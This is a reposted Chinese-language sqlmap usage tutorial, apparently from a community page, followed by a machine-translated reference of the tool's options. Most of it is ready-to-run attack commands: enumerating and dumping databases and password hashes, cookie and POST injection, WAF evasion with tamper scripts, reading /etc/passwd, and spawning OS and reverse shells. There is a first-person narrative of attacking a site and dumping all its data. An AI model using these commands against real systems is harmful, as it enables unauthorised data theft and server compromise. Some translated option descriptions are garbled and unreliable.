sqlmap 使用方法

來源:互聯網
上載者:User

標籤:

1. 基礎用法: ./sqlmap.py -u “注入地址” -v 1 –dbs   // 列舉資料庫./sqlmap.py -u “注入地址” -v 1 –current-db   // 當前資料庫./sqlmap.py -u “注入地址” -v 1 –users    // 列資料庫使用者./sqlmap.py -u “注入地址” -v 1 –current-user  // 目前使用者./sqlmap.py -u “注入地址” -v 1 –tables -D “資料庫”   // 列舉資料庫的表名./sqlmap.py -u “注入地址” -v 1 –columns -T “表名” -D “資料庫”   // 擷取表的列名./sqlmap.py -u “注入地址” -v 1 –dump -C “欄位,欄位” -T “表名” -D “資料庫”   // 擷取表中的資料,包含列 已經開始拖庫了,SQLMAP是非常人性化的,它會將擷取的資料存放區sqlmap/output/中、、、 2. sqlmap post注入我們在使用Sqlmap進行post型注入時,經常會出現請求遺漏導致注入失敗的情況。這裡分享一個小技巧,即結合burpsuite來使用sqlmap,用這種方法進行post注入測試會更準確,操作起來也非常容易。1. 瀏覽器開啟目標地址http:// www.2cto.com /Login.asp2. 配置burp代理(127.0.0.1:8080)以攔截請求3. 點擊login表單的submit按鈕4. 如,這時候Burp會攔截到了我們的登入POST請求5. 把這個post提取複寫為txt, 我這命名為search-test.txt 然後把它放至sqlmap目錄下 6. 運行sqlmap並使用如下命令:./sqlmap.py -r search-test.txt -p tfUPass 這裡參數-r 是讓sqlmap載入我們的post請求rsearch-test.txt,而-p 大家應該比較熟悉,指定注入用的參數。3,sqlmap  cookies注入sqlmap.py -u “http://127.0.0.1/base.php” –cookies “id=1″  –dbs –level 22. 預設情況下SQLMAP只支援GET/POST參數的注入測試,但是當使用–level 參數且數值>=2的時候也會檢查cookie時面的參數,當>=3的時候將檢查User-agent和Referer,那麼這就很簡單了,我 們直接在原有的基礎上面加上 –level 2 即可利用sqlmap cookies注入突破使用者登入繼續注入先把使用者登陸的cookie拿到吧,在收藏夾添加一個連結cookies屬性:名字自己取javascript:alert(document.cookie),,需要擷取當前cookie的時候,直接點一下這個連結,然後複製一下彈出對話方塊裡的cookie值就搞定了sqlmap.py -u http://x.x.x.x/Down.aspx?tid=2 -p tid –dbms mssql –cookie=”info=username=test”-p是指指定參數注入4. sqlmap遇到url重寫的注入哪裡存在注入就加上 * 號1./sqlmap.py -u “http://www.cunlide.com/id1/1*/id2/2“5.sqlmap 編碼繞waf注入./sqlmap.py -u http://127.0.0.1/test.php?id=1 -v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”在sqlmap 的 tamper目錄下有很多space2morehash.py 編碼指令碼自行載入 其他基礎:sqlmap -u “http://url/news?id=1” –level=3 –smart –dbms “Mysql” –current-user #擷取目前使用者名稱sqlmap -u “http://www.xxoo.com/news?id=1” –level=3 –smart –dbms “Mysql” –current-db  #擷取當前資料庫名稱sqlmap -u “http://www.xxoo.com/news?id=1” –level=3 –smart –dbms “Mysql”–tables  -D “db_name” #列表名sqlmap -u “http://url/news?id=1” –level=3 –smart  –dbms “Mysql” –columns -T “tablename” users-D “db_name” -v 0 #欄欄位sqlmap -u “http://url/news?id=1” –level=3 –smart –dbms “Mysql”  –dump  -C “column_name”  -T “table_name” -D “db_name” -v 0   #擷取欄位內容   ******************資訊擷取******************sqlmap -u “ –smart –dbms “Mysql” –users  #列資料庫使用者  sqlmap -u “ –smart –dbms “Mysql” –dbs#列資料庫  sqlmap -u “ –smart –dbms “Mysql”–passwords #資料庫使用者密碼  sqlmap -u “ –smart –dbms “Mysql”–passwords-U root  -v 0 #列出指定使用者資料庫密碼  sqlmap -u “ –smart –dbms “Mysql” –dump-all -v 0 #列出所有資料庫所有表   sqlmap -u “ –smart –dbms “Mysql”–privileges #查看許可權  sqlmap -u “ –smart –dbms “Mysql”–privileges -U root #查看指定使用者權限  sqlmap -u “ –smart –dbms “Mysql” –is-dba -v 1 #是否是資料庫管理員  sqlmap -u “ –smart –dbms “Mysql” –roles #枚舉資料庫使用者角色  sqlmap -u “ –smart –dbms “Mysql”–udf-inject #匯入使用者自訂函數(擷取系統許可權!)  sqlmap -u “ –smart –dbms “Mysql”–dump-all –exclude-sysdbs -v 0 #列出當前庫所有表  sqlmap -u “ –smart –dbms “Mysql” –union-check #是否支援union 注入  sqlmap -u “ –smart –dbms “Mysql”–union-cols #union 查詢表記錄  sqlmap -u “ –smart –dbms “Mysql” –union-test #union 語句測試  sqlmap -u “ –smart –dbms “Mysql” –union-use –banner #採用union 注入  sqlmap -u “ –smart –dbms “Mysql”–union-test –union-tech orderby #union 配合 order by  sqlmap -u “ –smart –dbms “Mysql”–method “POST” — data “id=1&cat=2″ #post注入  sqlmap -u “ –smart –dbms “Mysql”–cookie “COOKIE_VALUE” #cookie注入  sqlmap -u “ –smart –dbms “Mysql”-b #擷取banner資訊  sqlmap -u “http://url/news?id=1” –level=3 –smart-v 1 -f #指紋判別資料庫類型sqlmap -u “http://url/news?id=1” –level=3 –smart–proxy”http://127.0.0.1:8118” #代理注入sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE“  #指定關鍵詞sqlmap -u “ –smart –dbms “Mysql”–sql-shell #執行指定sql命令  sqlmap -u “ –smart –dbms “Mysql”–file /etc/passwd  sqlmap -u “ –smart –dbms “Mysql”–os-cmd=whoami #執行系統命令  sqlmap -u “ –smart –dbms “Mysql”–os-shell #系統互動shell  sqlmap -u “ –smart –dbms “Mysql”–os-pwn #反彈shell  sqlmap -u “ –smart –dbms “Mysql”–reg-read #讀取win系統註冊表  sqlmap -u “ –smart –dbms “Mysql” –dbs-o “sqlmap.log” #儲存進度  sqlmap -u “ –smart –dbms “Mysql” –dbs  -o “sqlmap.log” –resume  #恢複已儲存進度  注入分法不同,種類不同,來個簡單的分類:1.get型:sqlmap -u “http://xxx.xx.xxx/xx.xxx?xx=xxx” 2.post型: sqlmap -u “http://xxx.xx.xxx/xx.xxx” –data=”xxxx=xxxx&xxxx=xxx”3.cookie類注入: sqlmap -u “http://xxx.xx.xxx/xx.xxx?xx=xxx” –cookie=”xxx=xxx&xxx=xxx” –level=2好,區分完畢再來後續的 需要資料庫好:–dbs得到資料庫名稱xxx,需要表: -D xxx –tables得到表名xxxx,需要段:-D xxx -T xxxx –columns得到段內有admin,password,需要值:-D xxx -T xxxx -C “admin,password” –dump那麼我們來理解一下,-D -T -C 是幹嗎的,當然就是知道其名稱,指定使用其。–dbs –tables –columns 是幹嗎的,當然就是不知道名稱,列出來唄–dump 那自然就是字面意思,類似於匯出資料的行為 其實注入有了上面這幾個命令,妥妥的夠用了,不過還需要繞waf –tamper=”"注入被識別出來是工具,斷開咋辦–user-agent=”"再多牛逼的功能都是慢慢積累出來的,別想一口吃成胖子 好,跑資料庫就是這麼簡單,於是呢來一個稍微有點乾貨的例子:http://www.xxx.com/login.asp有post注入,我想日了,但是我不想出去拷貝post資料,很麻煩,我想讓sqlmap自動跑post注入sqlmap -u “http://www.xxx.com/login.asp” –forms很好,上面的命令成功的幫我跑了post注入,並且找到了post的注入點jjj=123sqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj –dbs於是我用上面的命令看看資料庫sqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj –is-dba順便看看目前使用者是不是dbasqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj -a 用了上面的命令 -a能得到什麼呢:自己去看協助吧。 幫你篩選了一下,-a下面的那些命令是用來看使用者,看主機,看許可權的。 後來呢,我發現許可權還是挺高的,同時呢,我跑出來了資料庫名稱kkksqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj -D kkk –tables同時我找到了網站路徑,然後我就又一次找到了sqlmap的牛逼的–os-xx系列命令,可以執行系統命令,同時還發現了牛逼的xpcmdshell –os-shell以及很多牛逼的檔案操作命令–file-xx 這些命令在需要用的時候使用就是了,會給你帶來意想不到的驚喜 與此同時,我發現tables裡面沒有我想要的東西,我也找不到合適的內容,咋辦呢,心一橫,我決定把所有的資料庫內容跑出來自己找,於是我這麼做:sqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj -D kkk –dump-all然後牛逼的sqlmap就開始跑啊跑,然後緊接著我的蛋就碎了,尼瑪,sqlmap一會就問你一次要不要破解密碼,要不要這個,要不要那個,我和我的小朋友們都想擦你妹夫,功夫不負有心人,我又看見了一個命令 –batch 可以自動選擇sqlmap預設選項 於是,我可以和我的小朋友們玩耍去了,再也不用看著sqlmap拖庫了。 總結下來,協助文檔還是很重要的,多看看,總會有些收穫: 為了避免各位看英文看到吐,大概總結下:Target: 字面意思,目標,那麼就是確定目標的Request: 字面意思,請求,就是定義請求內容的,比如post資料,http頭,cookie注入,http頭汙染等等Optimization:字面意思,調節效能,等等Injection: 字面意思,注入的設定內容基本在這裡,比如指定注入點,指定db,指定系統,等等Detection:基本就是用在確認注入範圍,尋找注入點地區,這些Technique:基本用在確定注入手段,以及攻擊方式Fingerprint:基本用在指紋識別,用的很少Enumeration:枚舉資訊,主要用在注入中,很重要,很常用Brute force:用來爆破,其實主要是枚舉tables columns用的User-defined function injection:現在只有udf提權,以及指定一些自己定義的sqlmap指令碼用,高端使用,求大牛指點File system access主要是檔案讀取,檔案寫入Operating system access 主要用在對系統操作,例如os-shell 以及 後續的串連metasploit 實現後滲透攻擊windows registry access基本就是註冊表操作了General字面意思,綜合的內容,一些特殊的功能實現,我在這裡找到了crawl batch這些非常好用的參數Miscellaneous目測高端應用,還沒怎麼用過,求大神指教 如上面總結的,大概紅字就是常用的命令,剩下的不常用裡面也有很多很不錯,在特殊情況下適用的內容,反正本貼科普而已。 字有點多,想看的菜鳥朋友認真看下來應該會有些收穫,菜鳥們如果有什麼其他的奇技淫巧,還希望分享1、2 共同進步!!SQLMAP中文說明 -D直接直接連接到資料庫   -U網址 - URL = URL目標URL    -L使用burp,WebScarab代理日誌解析目標儲存在指定的文字檔   -M BULKFILE掃描多個目標入伍   -R REQUESTFILE負載的HTTP請求從一個檔案   -G讀取Googleurl,傳說中的批量檢測   -C從配置INI檔案configfile中載入選項  要求:   這些選項可以用來指定如何串連到目標URL。     --data=DATA通過POST發送資料串    --cookie=COOKIE 的HTTP Cookie頭    --cookie-urlencode URL編碼產生的cookie注射    --drop-set-cookie忽略從Set-Cookie頭的響應    --user-agent=AGENT HTTP User-Agent頭    --random-agent 隨機播放的HTTP User-Agent頭    --referer=REFERER  HTTP Referer頭    --headers=HEADERS HTTP頭分行符號隔開    --auth-type=ATYPE HTTP身分識別驗證類型(基本,摘要或NTLM)    --auth-cred=ACRED的HTTP身分識別驗證憑據(使用者名稱:密碼)    --auth-cert=ACERT ACERT HTTP認證認證(key_file,cert_file中)    --proxy=PROXY HTTP代理串連到目標URL     --proxy-cred=PCRED HTTPProxy 驗證憑據(使用者名稱:密碼)    --ignore-proxy忽略HTTP代理    --delay=DELAY每個HTTP請求之間的延遲    --timeout=TIMEOUT 等待連線逾時(預設30)    --retries=RETRIES 重試連線逾時(預設3)    --scope=SCOPE Regex來過濾目標提供代理日誌    --safe-url=SAFURL URL地址訪問測試過程中經常    --safe-freq=SAFREQ訪問之間的一個給定的安全URL SAFREQ測試要求  最佳化:   這些選項可以用於最佳化效能的SqlMap。    -O開啟所有最佳化開關    --predict-output 預測輸出預測常見的查詢輸出    --keep-alive    保持活動使用持久HTTP(S)串連    --null-connection 空串連檢索頁面沒有實際的HTTP響應體長度    --threads=THREADS最大數量的並發HTTP(S)請求(預設為1)  注射:   這些選項可以用來指定哪些參數測試,   提供定製注塑載荷和可選篡改指令碼。    -P TESTPARAMETER可測試參數(S)    --dbms=DBMS指定資料庫     --os=OS指定作業系統    --prefix=PREFIX注射有效載荷前置詞字元串    --suffix=SUFFIX注射有效載荷尾碼字串    --tamper=TAMPER篡改注入資料為使用給定的指令碼(S)  檢測:   這些選項可以用來指定如何解析和比較頁面   從HTTP響應時使用盲SQL注入技術的內容。     --level=LEVEL要執行的測試水平等級(1-5,預設為1)    --risk=RISK 測試執行的風險(0-3,預設為1)    --string=STRING字串匹配字串在查詢時是有效頁面    --regexp=REGEXP的Regex匹配在頁面查詢時是有效    --text-only 純文字比較只對文字內容為基礎的網頁  技巧:   這些選項可以用來調整特定的SQL注入測試   技術。     --technique=TECH SQL注入技術測試(預設博伊斯特)    --time-sec=TIMESEC秒的拖延DBMS響應(預設為5)    --union-cols=UCOLS列範圍測試    --union-char=UCHAR字元使用暴力破解的列數  指紋:   -f, --fingerprint 指紋進行廣泛的DBMS版本指紋  枚舉:   這些選項可以用來列舉的後端資料庫   管理系統中所包含的資訊,結構和資料   表。此外,您可以運行您自己的SQL語句。    -b,--banner資料庫的旗幟   --current-user資料庫目前使用者   --current-db檢索資料庫當前資料庫   --is-dba 檢測如果DBMS目前使用者是DBA     --users  枚舉使用者和DBMS使用者    --passwords  密碼枚舉DBMS使用者密碼雜湊    --privileges 特權列舉資料庫使用者的許可權    --roles 角色枚舉資料庫使用者的角色    --dbs枚舉的DBMS資料庫    --tables DBMS資料庫表    --columns DBMS資料庫表列    --schema枚舉資料庫模式    --count檢索表條目的數量    --dump轉儲DBMS資料庫表條目    --dump-all全部轉儲所有的DBMS資料庫表中的條目    --search搜尋列(S),表(S)和/或資料庫名稱(S)    -D DBMS資料庫枚舉    -T DBMS資料庫表枚舉    -C DBMS的資料庫表列列舉    -U使用者DBMS使用者枚舉    --exclude-sysdbs排除列舉表時,DBMS系統資料庫    --start=LIMITSTART首先查詢的輸出項檢索    --stop=LIMITSTOP最後查詢的輸出項檢索    --first=FIRSTCHAR首先查詢輸出單詞字元檢索    --last=LASTCHAR最後查詢的輸出單詞字元檢索    --sql-query=QUERY執行查詢的SQL語句    --sql-shell提示下一個互動式SQL外殼  蠻力:   這些選項可以用來運行蠻力檢查的。     --common-tables 共同表檢查存在共同表    --common-columns 共同列檢查存在共同的列  使用者定義的函數注入:   這些選項可以被用來建立使用者自訂功能。     --udf-inject注入使用者自訂功能    --shared-lib=SHLIB本地路徑的共用庫  檔案系統的訪問:   這些選項可以被用來訪問後端資料庫管理   系統底層的檔案系統。     --file-read=RFILE DBMS檔案系統讀取檔案    --file-write=WFILE寫後端的DBMS檔案系統上的本地檔案    --file-dest=DFILE後端資料庫的絕對檔案路徑寫入  作業系統訪問:   這些選項可以被用來訪問後端資料庫管理   系統底層作業系統。     --os-cmd=OSCMD執行作業系統命令    --os-shell提示符下互動式作業系統外殼    --os-pwn提示為一個徹頭徹尾的帶外殼,meterpreter或VNC     --os-smbrelay一個點擊提示一個OOB殼,meterpreter或VNC     --os-bof預存程序緩衝區溢位剝削    --priv-esc資料庫進程“使用者權限升級    --msf-path=MSFPATH本地路徑Metasploit Framework等3安裝    --tmp-path=TMPPATH遠程絕對路徑的臨時檔案目錄  Windows註冊表的訪問:   這些選項可以被用來訪問後端資料庫管理   系統Windows註冊表。     --reg-read讀Windows登錄機碼值    --reg-add寫一個Windows登錄機碼值資料    --reg-delL刪除Windows註冊表索引值    --reg-key=REGKEY Windows註冊表    --reg-value=REGVAL Windows註冊表索引值    --reg-data=REGDATA Windows註冊表關索引值資料    --reg-type=REGTYPE Windows登錄機碼實值型別  秘書長:   這些選項可以用來設定一些一般性的工作參數。    -s 儲存和恢複在會議檔案中檢索所有資料   -t 登入到一個文字檔中所有的HTTP流量   --batch 一批從不要求使用者輸入,使用的預設行為   --charset=CHARSET字元編碼,用於資料檢索   --eta顯示預計到達時間為每個輸出   --flush-session  沖洗會議會話檔案   --fresh-queries在會議檔案中儲存的查詢結果   --save 配置INI檔案儲存選項   --update更新的SqlMap   雜項:    --beep SQL注入發現    --check-payload 檢查有效載荷的IDS檢測測試    --cleanup清理SqlMap特定的UDF和表的DBMS     --forms解析和測試形式的目標URL     --gpage=GOOGLEPAGE使用Google從指定的頁碼dork結果    --mobile通過HTTP User-Agent頭    --page-rank顯示網頁排名(PR)為Google dork結果    --parse-errors解析DBMS響應頁面的錯誤資訊    --replicate複製倒入一個SQLite3資料庫中的資料    --tor的使用預設的Tor(Vidalia的/ Privoxy的/ Polipo即可)Proxy 位址    --wizard嚮導為初學者使用者簡單的嚮導介面

 

sqlmap 使用方法

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.